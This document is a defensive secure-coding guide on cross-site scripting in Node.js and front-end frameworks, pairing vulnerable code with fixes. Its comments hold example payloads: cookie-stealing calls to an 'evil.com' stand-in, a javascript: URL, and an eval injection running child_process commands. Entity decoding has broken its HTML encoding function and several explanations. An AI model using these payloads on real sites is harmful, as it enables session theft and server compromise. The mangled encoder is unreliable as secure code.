CWE-79: Cross-Site Scripting (XSS) - JavaScript/Node.js
Overview
Cross-Site Scripting (XSS) vulnerabilities in JavaScript occur when untrusted data is rendered in web pages without proper encoding, allowing attackers to inject malicious scripts. This guide covers both server-side (Node.js/Express) and client-side (React, Vue, vanilla DOM) XSS prevention in JavaScript applications.
Primary Defence: Use framework auto-escaping (React JSX, Vue templates, template engines with escape: true), textContent for DOM manipulation, or DOMPurify for rich HTML sanitization. Avoid innerHTML, dangerouslySetInnerHTML, and eval() with user input.
Common Vulnerable Patterns
Express with Direct HTML Rendering
const express = require('express');
const app = express();
app.get('/profile', (req, res) => {
const username = req.query.username;
// VULNERABLE - User input directly embedded in HTML
res.send(`
<html>
<body>
<h1>Welcome ${username}</h1>
<p>Your profile page</p>
</body>
</html>
`);
});
// Attack: /profile?username=<script>alert(document.cookie)</script>
// Result: Script executes in victim's browser, stealing cookies
Why this is vulnerable: Template literals don't encode HTML special characters. The <script> tag executes as JavaScript.
innerHTML with User Content
// Frontend JavaScript
function displayMessage(message) {
const container = document.getElementById('messageBox');
// VULNERABLE - innerHTML interprets HTML/JavaScript
container.innerHTML = message;
}
// Called with user input
fetch('/api/messages')
.then(res => res.json())
.then(data => displayMessage(data.userMessage));
// If userMessage = "<img src=x onerror='alert(document.cookie)'>"
// Result: Script executes via onerror event
Why this is vulnerable: innerHTML parses HTML, allowing event handlers like onerror, onload, etc.
React dangerouslySetInnerHTML
import React from 'react';
function UserComment({ comment }) {
// VULNERABLE - Bypasses React's XSS protection
return (
<div dangerouslySetInnerHTML={{ __html: comment.text }} />
);
}
// If comment.text = "<img src=x onerror='fetch(\"https://evil.com?c=\" + document.cookie)'>"
// Result: Cookies exfiltrated to attacker's server
Why this is vulnerable: dangerouslySetInnerHTML explicitly disables React's auto-escaping.
Vue v-html Directive
<template>
<!-- VULNERABLE: v-html interprets HTML -->
<div v-html="userBio"></div>
</template>
<script>
export default {
data() {
return {
userBio: '' // Populated from API with user input
};
},
mounted() {
fetch('/api/user/bio')
.then(res => res.json())
.then(data => this.userBio = data.bio);
}
}
</script>
// If bio = "<svg onload='window.location=\"https://evil.com?c=\" + document.cookie'>"
// Result: User redirected and cookies stolen
Why this is vulnerable: v-html directive renders raw HTML, bypassing Vue's default escaping.
URL Scheme Injection
function createProfileLink(username, url) {
const link = document.createElement('a');
link.href = url; // VULNERABLE - No URL validation
link.textContent = `Visit ${username}'s website`;
document.body.appendChild(link);
}
// Called with:
// createProfileLink('Attacker', 'javascript:fetch("https://evil.com?c=" + document.cookie)');
// Result: Clicking link executes JavaScript
Why this is vulnerable: javascript: URLs execute code when clicked. No validation of URL scheme.
eval() with User Input
app.get('/calculate', (req, res) => {
const expression = req.query.expr;
try {
// VULNERABLE - eval executes arbitrary JavaScript
const result = eval(expression);
res.json({ result });
} catch (e) {
res.status(400).json({ error: 'Invalid expression' });
}
});
// Attack: /calculate?expr=require('child_process').execSync('whoami').toString()
// Result: Server-side code execution (even worse than XSS)
Why this is vulnerable: eval() executes arbitrary code, including Node.js APIs.
DOM XSS via location.hash
// Frontend JavaScript
window.onload = function() {
const message = decodeURIComponent(window.location.hash.substring(1));
// VULNERABLE - Hash value rendered as HTML
document.getElementById('welcome').innerHTML = `Welcome, ${message}!`;
};
// Attack URL: https://example.com/#<img src=x onerror='alert(document.cookie)'>
// Result: Script executes without server involvement (DOM-based XSS)
Why this is vulnerable: URL hash is client-controlled and rendered via innerHTML.
Template String Injection in EJS
const ejs = require('ejs');
const express = require('express');
const app = express();
app.get('/greeting', (req, res) => {
const name = req.query.name;
// VULNERABLE - Using template string instead of EJS variable
const template = `<h1>Hello ${name}</h1>`;
res.send(template);
});
// Attack: /greeting?name=<script>alert(1)</script>
// Result: Script executes because template literals don't encode
Why this is vulnerable: JavaScript template literals (backticks) are NOT XSS-safe. Use EJS <%= %> tags.
Secure Patterns
Express with Template Engine (EJS)
const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.get('/profile', (req, res) => {
const username = req.query.username;
// SECURE - EJS auto-escapes with <%= %>
res.render('profile', { username });
});
profile.ejs:
<html>
<body>
<!-- SECURE: <%= %> HTML-encodes output -->
<h1>Welcome <%= username %></h1>
<p>Your profile page</p>
</body>
</html>
Why this works: EJS <%= %> tags auto-escape HTML by default, converting <, >, &, and quotes to entities (<, >, &, ") before inserting values into the response. This safe-by-default behavior prevents reflected and stored XSS when rendering user-controlled data in views. Because escaping is automatic, developers don't have to remember to call an encoder - every <%= %> expression is protected unless you explicitly use <%- %> (unescaped), which should only be used for pre-sanitized, trusted HTML. The template engine escapes at render time, so even complex expressions are safe. Pair with input validation and Content Security Policy for defense in depth.
DOM Manipulation with textContent
function displayMessage(message) {
const container = document.getElementById('messageBox');
// SECURE - textContent treats input as plain text
container.textContent = message;
}
// Alternative: createElement with textContent
function displayMessageAlt(message) {
const container = document.getElementById('messageBox');
const p = document.createElement('p');
p.textContent = message;
container.appendChild(p);
}
// Even with "<script>alert(1)</script>", it displays as literal text
Why this works: textContent never parses HTML or executes JavaScript - it only sets the text content of a DOM node. When you assign a value to textContent, the browser inserts it as a text node, not markup, so characters like <, >, and quotes are displayed as-is without being interpreted. This prevents both reflected and DOM-based XSS because attacker payloads like <script>alert(1)</script> become visible harmless text instead of executable code. Similarly, createElement() + textContent builds the DOM programmatically without parsing user input as HTML. Avoid innerHTML, which parses and executes scripts; use textContent or innerText for user data.
React Default Rendering
import React from 'react';
function UserComment({ comment }) {
// SECURE - React auto-escapes JSX expressions
return (
<div>
<p>{comment.text}</p>
<span>By: {comment.author}</span>
</div>
);
}
// Even if comment.text contains <script>, React renders it as text
Why this works: React auto-escapes all values inside JSX {} expressions by default, converting special characters to HTML entities before rendering. When you write {comment.text}, React escapes <, >, &, and quotes, so user input is inserted as text nodes instead of executable markup. This safe-by-default behavior prevents reflected and stored XSS in components without requiring manual encoding. To render raw HTML, you must explicitly use dangerouslySetInnerHTML, which signals risky code and should only be used with pre-sanitized content (e.g., after DOMPurify). React's virtual DOM and component model further isolate rendering from direct DOM manipulation, reducing XSS attack surface. Pair with CSP and avoid dangerouslySetInnerHTML on untrusted data.
Vue Default Rendering
<template>
<!-- SECURE: Mustache syntax auto-escapes -->
<div>{{ userBio }}</div>
</template>
<script>
export default {
data() {
return {
userBio: ''
};
},
mounted() {
fetch('/api/user/bio')
.then(res => res.json())
.then(data => this.userBio = data.bio);
}
}
</script>
Why this works: Vue's mustache syntax {{ }} automatically HTML-escapes all values, converting <, >, &, and quotes to entities before rendering. When you bind user data with {{ userBio }}, Vue inserts it as text, not markup, preventing both reflected and stored XSS. This safe-by-default behavior mirrors React's approach - escaping is automatic unless you explicitly opt out with v-html, which should only be used for trusted, pre-sanitized HTML (e.g., after DOMPurify). Vue's reactivity system and template compiler handle escaping at render time, so developers don't have to call encoders manually. Avoid v-html on user input; use mustache syntax for almost all bindings. Combine with CSP and input validation for layered defense.
URL Validation with Allowlist
function createProfileLink(username, url) {
// SECURE - Validate URL scheme
const allowedSchemes = ['http:', 'https:'];
let validatedUrl;
try {
const parsed = new URL(url);
if (allowedSchemes.includes(parsed.protocol)) {
validatedUrl = url;
} else {
validatedUrl = '#'; // Fallback to no-op
}
} catch (e) {
validatedUrl = '#'; // Invalid URL
}
const link = document.createElement('a');
link.href = validatedUrl;
link.textContent = `Visit ${username}'s website`;
document.body.appendChild(link);
}
// javascript: URLs rejected, only http/https allowed
Why this works: The URL() constructor parses and validates URLs, throwing an error if the input is malformed. By checking parsed.protocol against an allowlist (['http:', 'https:']), you reject dangerous schemes like javascript:, data:, and vbscript: that can execute code when clicked. If the URL is invalid or uses a banned scheme, the code falls back to a safe no-op ('#'), preventing XSS via href injection. This approach validates URLs before inserting them into the DOM, so even if an attacker controls the url parameter, they cannot inject executable payloads. Always use an allowlist (not a blocklist) for schemes, and combine with CSP to restrict script execution. For user-provided links, consider displaying a warning or preview before navigation.
Safe Expression Evaluation with math.js
const math = require('mathjs');
const express = require('express');
const app = express();
app.get('/calculate', (req, res) => {
const expression = req.query.expr;
try {
// SECURE - math.evaluate doesn't execute arbitrary code
const result = math.evaluate(expression);
res.json({ result });
} catch (e) {
res.status(400).json({ error: 'Invalid expression' });
}
});
// Accepts: "2 + 2 * 5" → 12
// Rejects: "require('fs').readFileSync('/etc/passwd')" → Error
Why this works: math.js provides a sandboxed math evaluator that only parses and evaluates mathematical expressions, not arbitrary JavaScript. Unlike eval() or Function(), which execute any code and can access the full Node.js runtime (file system, modules, network), math.evaluate() restricts input to math syntax (numbers, operators, functions like sin, sqrt). Attempts to call require(), access global objects, or run arbitrary JS throw errors. This prevents code injection when you need to evaluate user-provided formulas. The library's parser and evaluator are isolated from the JavaScript runtime, so even if an attacker crafts complex expressions, they cannot escape the sandbox. Use this for calculators, formula inputs, or dynamic math; for arbitrary expression evaluation, avoid eval() and use a proper sandboxed interpreter or transpiler with strict allowlists.
DOM XSS Prevention with textContent
window.onload = function() {
const message = decodeURIComponent(window.location.hash.substring(1));
// SECURE - textContent renders as plain text
const welcomeEl = document.getElementById('welcome');
welcomeEl.textContent = `Welcome, ${message}!`;
};
// Hash value displays as text, never executed
Why this works: Using textContent to render URL fragments (like window.location.hash) prevents DOM-based XSS because the browser inserts values as text nodes, not parsed HTML. Even if an attacker crafts a URL with #<script>alert(1)</script>, the payload is displayed as visible text instead of being executed. This approach avoids the classic DOM XSS sink where hash/query parameters are read via JavaScript and inserted into the DOM via innerHTML, eval(), or document.write(). By using textContent or createElement() + textContent, you ensure user-controlled data from the URL never becomes executable code. Always validate and sanitize URL parameters, and avoid innerHTML, outerHTML, document.write(), and eval() when handling URL-derived data.
Content Security Policy (CSP) Header
const express = require('express');
const app = express();
// SECURE - CSP prevents inline scripts
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self'; " +
"connect-src 'self'; " +
"frame-ancestors 'none';"
);
next();
});
app.set('view engine', 'ejs');
app.get('/profile', (req, res) => {
res.render('profile', { username: req.query.username });
});
app.listen(3000);
Why this works: Content Security Policy (CSP) provides defense-in-depth by instructing the browser to block execution of injected scripts even if an XSS vulnerability exists. The sample policy restricts scripts to the same origin (script-src 'self'), preventing attacker-hosted payloads and inline <script> blocks or event handlers like onclick. CSP also controls other resources (styles, images, fonts), reducing the attack surface. Setting CSP headers server-side (via Express middleware) ensures every response is protected without per-route duplication. Even if encoding is missed and an attacker injects <script>alert(1)</script>, the browser refuses to execute it because it's inline and not from 'self'. CSP is a mitigation layer, not a replacement for output encoding - combine both for robust XSS defense. Use report-uri to monitor violations and refine the policy.
DOMPurify for Rich HTML Content
// When you MUST render user HTML (e.g., blog posts with formatting)
import DOMPurify from 'dompurify';
function displayRichContent(htmlContent) {
const container = document.getElementById('content');
// SECURE - DOMPurify removes malicious tags/attributes
const clean = DOMPurify.sanitize(htmlContent, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
container.innerHTML = clean;
}
// Input: "<p>Hello <script>alert(1)</script></p>"
// Output: "<p>Hello </p>" (script tag removed)
Why this works: DOMPurify is a battle-tested HTML sanitizer that parses user-provided HTML and removes or rewrites dangerous tags, attributes, and JavaScript. Unlike output encoding (which converts <script> to <script>), sanitization allows limited HTML (bold, italic, links) while stripping payloads like <script>, onerror handlers, javascript: URLs, and other XSS vectors. DOMPurify uses an allowlist approach - only tags/attributes in ALLOWED_TAGS and ALLOWED_ATTR are kept; everything else is removed. The library handles edge cases (mutation XSS, mXSS, encoding tricks) that naive regex-based sanitizers miss. Use DOMPurify when you must allow user-provided HTML (e.g., rich text editors, blog posts) but need to strip scripts. After sanitization, the cleaned HTML can be safely inserted via innerHTML. Pair with CSP for additional protection.
Helmet.js for Security Headers
const express = require('express');
const helmet = require('helmet');
const app = express();
// SECURE - Helmet sets multiple security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"]
}
},
xssFilter: true, // X-XSS-Protection header
noSniff: true, // X-Content-Type-Options: nosniff
frameguard: { action: 'deny' } // X-Frame-Options: DENY
}));
app.set('view engine', 'ejs');
app.get('/profile', (req, res) => {
res.render('profile', { username: req.query.username });
});
app.listen(3000);
Why this works: Helmet.js sets multiple security-related HTTP headers to reduce XSS and other attack vectors. The CSP directive (configured above) blocks inline scripts and limits resource origins, mitigating XSS even if encoding fails. xssFilter: true enables the legacy X-XSS-Protection header, which instructs older browsers to block reflected XSS (though modern CSP is stronger). noSniff: true sets X-Content-Type-Options: nosniff, preventing MIME-type confusion attacks where browsers misinterpret responses as HTML/JS. frameguard: { action: 'deny' } sets X-Frame-Options: DENY, blocking clickjacking. Helmet provides defense-in-depth by layering multiple protections; it's not a replacement for output encoding or input validation but complements them. Use Helmet in all Express apps for baseline security headers; customize CSP directives to match your app's resource loading patterns.
Key Security Functions
Template Engine Escaping (EJS)
// Auto-escaping (USE THIS)
<%= userInput %> // HTML-encodes: < becomes <
// Raw output (DANGEROUS - avoid with user input)
<%- trustedHTML %> // No encoding
React Auto-Escaping
// Auto-escaped (SAFE)
<div>{userInput}</div>
// Raw HTML (DANGEROUS)
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Vue Auto-Escaping
DOM API Comparison
// SAFE - treats as text
element.textContent = userInput;
element.innerText = userInput; // Similar, with CSS considerations
element.setAttribute('data-value', userInput); // Safe for data-* attributes
// DANGEROUS - interprets HTML
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
URL Validation
function isSafeURL(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch (e) {
return false; // Invalid URL
}
}
// Usage:
const userUrl = req.query.redirect;
const safeUrl = isSafeURL(userUrl) ? userUrl : '/';
res.redirect(safeUrl);
HTML Encoding Function
// For cases where you can't use a template engine
function encodeHTML(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
// Usage:
const safe = encodeHTML(userInput);
res.send(`<div>${safe}</div>`);
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced
Framework-Specific XSS Patterns
Express.js - Template Engines
const express = require('express');
const app = express();
// EJS (recommended)
app.set('view engine', 'ejs');
app.get('/page', (req, res) => {
res.render('page', { data: req.query.input });
});
// Template: <%= data %> (auto-escaped)
// Pug (formerly Jade)
app.set('view engine', 'pug');
app.get('/page', (req, res) => {
res.render('page', { data: req.query.input });
});
// Template: p= data (auto-escaped)
// Dangerous: p!= data (unescaped)
// Handlebars
const exphbs = require('express-handlebars');
app.engine('handlebars', exphbs());
app.set('view engine', 'handlebars');
// Template: {{data}} (auto-escaped)
// Dangerous: {{{data}}} (unescaped)
Next.js - Server-Side Rendering
// pages/profile.js
export async function getServerSideProps(context) {
const { username } = context.query;
return {
props: { username }
};
}
export default function Profile({ username }) {
// SECURE - Next.js auto-escapes
return (
<div>
<h1>Welcome {username}</h1>
</div>
);
}
// DANGEROUS - Don't use dangerouslySetInnerHTML with user input
Angular - Template Binding
// component.ts
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SECURE - Angular auto-escapes -->
<div>{{ userComment }}</div>
<!-- DANGEROUS - bypasses sanitization -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment: string = '';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {}
setComment(comment: string) {
this.userComment = comment; // Auto-escaped in template
// If you MUST use innerHTML, sanitize first
this.trustedHtml = this.sanitizer.sanitize(SecurityContext.HTML, comment);
}
}
Typical XSS Findings
-
User input rendered in HTML context without encoding
- Location: Response contains
<h1>Welcome ${username}</h1> - Fix: Use template engine with auto-escaping:
<%= username %>
- Location: Response contains
-
innerHTML assignment with user-controlled data"
- Location:
element.innerHTML = userInput; - Fix: Replace with
element.textContent = userInput;
- Location:
-
React dangerouslySetInnerHTML with external data
- Location:
<div dangerouslySetInnerHTML={{ __html: comment }} /> - Fix: Use default React rendering:
<div>{comment}</div>or DOMPurify for rich content
- Location:
-
URL attribute without scheme validation
- Location:
<a href={userUrl}>Click</a> - Fix: Validate URL scheme or use allowlist
- Location:
-
Missing Content-Security-Policy header
- Location: HTTP response headers
- Fix: Add CSP header:
script-src 'self'; object-src 'none';
-
eval() or Function() constructor with user input
- Location:
eval(userExpression) - Fix: Use safe parser like
math.jsor JSON.parse for data
- Location:
Defense in Depth
Layer 1: Output Encoding (Primary)
- Use template engines (EJS, Pug, Handlebars)
- Use framework defaults (React
{}, Vue{{ }}) - Use
textContentoverinnerHTML
Layer 2: Content Security Policy (Secondary)
- Set strict CSP header:
script-src 'self' - Use nonces for legitimate inline scripts
- Block
unsafe-inlineandunsafe-eval
Layer 3: Input Validation (Tertiary)
- Validate data types (email, numeric, etc.)
- Reject unexpected HTML tags on input
- Never rely solely on validation
Layer 4: Security Headers
- X-XSS-Protection:
1; mode=block - X-Content-Type-Options:
nosniff - X-Frame-Options:
DENY - Use Helmet.js for automatic header management
Security Checklist
- Use template engines with auto-escaping (EJS
<%= %>, Pug=, Handlebars{{ }}) - Use
textContentinstead ofinnerHTMLfor DOM manipulation - Never use React
dangerouslySetInnerHTMLor Vuev-htmlwith user input - Validate URL schemes (allow only
http:,https:) - Implement Content Security Policy header (
script-src 'self') - Use Helmet.js or similar for security headers
- Use DOMPurify if you must render user HTML (blogs, rich text)
- Never use
eval(),Function()constructor, or template literals for HTML - Test with payloads:
<script>alert(1)</script>,<img src=x onerror=alert(1)> - Verify CSP blocks inline scripts in production